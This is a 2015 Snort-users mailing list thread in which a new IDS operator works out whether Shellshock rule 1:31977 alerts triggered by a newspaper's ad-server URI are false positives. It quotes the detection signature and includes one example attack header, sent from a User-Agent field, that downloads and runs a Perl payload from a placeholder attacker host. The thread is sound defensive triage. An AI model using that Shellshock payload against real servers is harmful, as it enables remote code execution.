[Snort-users] ShellShock Signatures

Joel Esler (jesler) jesler at ...589...
Thu Mar 5 09:15:10 EST 2015


HOME_NET is the network your defending (specify this in your snort.conf)  EXTERNAL_NET is either “any” or “!$HOME_NET”  depending on how you want it configured.  I’d start off with !$HOME_NET if you are monitoring the gateway.


On Mar 5, 2015, at 8:54 AM, Colin Edwards <colin.p.edwards at ...11827...<mailto:colin.p.edwards at ...11827...>> wrote:

The URI that is being alerted on is
/ad/sacbee.jsp?loc=sbp_sbw_ros_ros_mediumbox&fmt=&fmtpos=&keyw=&jsfuncstart=(function()%20{%20var%20adagioAsyncParams={%22ap%22:true,%22ph%22:%22mainstage-free-html%22};&jsfunc=})();&jsfuncno=//})();&rlp=&rnd=267194691727

That URI is in an HTTP GET request coming from the host inside our network, and that GET happens immediately after browsing to sacbee.com<http://sacbee.com/>.  After a little more research, it looks like this is being caused by some Ad server running on their web server, and it's not trying to execute any shell commands.

At the moment, we're using the base policy "Balanced Security and Connectivity", and have not made any modifications to it.  So, the rule for 1:31977 is:
alert tcp $EXTERNAL_NET any -> $HOME_NET $HTTP_PORTS (msg:"OS-OTHER Bash CGI environment variable injection attempt"; flow:to_server,established; content:"() {"; fast_pattern:only; http_uri; metadata:policy balanced-ips drop, policy security-ips drop, ruleset community, service http; reference:cve,2014-6271; reference:cve,2014-6277; reference:cve,2014-6278; reference:cve,2014-7169; classtype:attempted-admin; sid:31977; rev:4; )

It's pretty clear that "() {" is in the URI, so that makes sense why it triggered.  I'm a little unclear on $EXTERNAL_NET vs $HOME_NET right now, and why the rule is triggered on the outbound traffic (although it is good to know there's no malicious traffic originating from our network).  I need to look into that...maybe something we missed during initial configuration.

The pcap of the packet that generated the alert is attached.

Thanks,
Colin


On Tue, Mar 3, 2015 at 11:57 AM, Joel Esler (jesler) <jesler at ...589...<mailto:jesler at ...589...>> wrote:
We made a blog post back when this came out on the details of the vulnerability here:

http://vrt-blog.snort.org/2014/09/shellshock-update-bash-immediately.html


--
Joel Esler
Open Source Manager
Threat Intelligence Team Lead
Talos Group

On Mar 3, 2015, at 11:37 AM, s0ups . <ynots0ups at ...11827...<mailto:ynots0ups at ...11827...>> wrote:

On Mon, Mar 2, 2015 at 8:54 PM, Colin Edwards <colin.p.edwards at ...11827...<mailto:colin.p.edwards at ...11827...>> wrote:
Hello Snort Users,

I'm a new list member, and happy to say that I've been working with Firesight and a couple of ASA-X Firepower modules for almost a week now.  This is my first time hands-on w/ an IPS/IDS.  I'm here because I found this message from this list while researching an alert: http://sourceforge.net/p/snort/mailman/message/32980285/ .  I had a user viewing a newspaper's website today, and I received an alert for 1:31977.  I actually wasn't familiar with the domain name, and just searching for the domain I saw in the alert in Google also generated an alert from my workstation (I assume something to do with Google pulling news/images to display in the results?).  The URI from the request does have "() {" in it, so that's why it was triggered, but I don't know if it's a False Positive alert.  The website was for the Sacramento Bee (www.sacbee.com<http://www.sacbee.com/>).  I can provide more detail from the pcap / URI when I'm back in the office tomorrow.


While I'm introducing myself as a snort newbie...If anyone has any recommendations for other resources or reading material, feel free to message me off-list.

Cheers,
Colin Edwards
CISSP, GCIH, GCWN, GSEC, MCSE


Yo Colin,

As you probably know, Shellshock attacks attempt to exploit environment variables that use user-provided data. The attacks are pretty easy to identify as they usually have some recognizable commands after the "() { :;};". I've actually hardly, if ever, see 1:31977 in my environment as the majority of the legit hits I see target HTTP header fields (so 1:31978 is more common) like so:
    GET /cgi-bin/possiblevulnerablescript.cgi
    User-Agent: () { :;}; /bin/bash -c "cd /var/tmp;wget http://attackerwebsite/maliciousperlcode;perl maliciousperlcode

Fireeye has a good explanation and illustration of the various attack methods seen for the Shellshock vulnerability which will give you a good idea on what the common attacks look like. (https://www.fireeye.com/blog/threat-research/2014/09/shellshock-in-the-wild.html)

Chances are if it's an HTTP response from an external webserver to a client browser than it's a FP and poses little to no threat. I'd be interested in checking out the URI if you want to send it to me.

- s0ups

On Mon, Mar 2, 2015 at 8:54 PM, Colin Edwards <colin.p.edwards at ...11827...<mailto:colin.p.edwards at ...11827...>> wrote:
Hello Snort Users,

I'm a new list member, and happy to say that I've been working with Firesight and a couple of ASA-X Firepower modules for almost a week now.  This is my first time hands-on w/ an IPS/IDS.  I'm here because I found this message from this list while researching an alert: http://sourceforge.net/p/snort/mailman/message/32980285/ .  I had a user viewing a newspaper's website today, and I received an alert for 1:31977.  I actually wasn't familiar with the domain name, and just searching for the domain I saw in the alert in Google also generated an alert from my workstation (I assume something to do with Google pulling news/images to display in the results?).  The URI from the request does have "() {" in it, so that's why it was triggered, but I don't know if it's a False Positive alert.  The website was for the Sacramento Bee (www.sacbee.com<http://www.sacbee.com/>).  I can provide more detail from the pcap / URI when I'm back in the office tomorrow.


While I'm introducing myself as a snort newbie...If anyone has any recommendations for other resources or reading material, feel free to message me off-list.

Cheers,
Colin Edwards
CISSP, GCIH, GCWN, GSEC, MCSE

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<packet.pcap>

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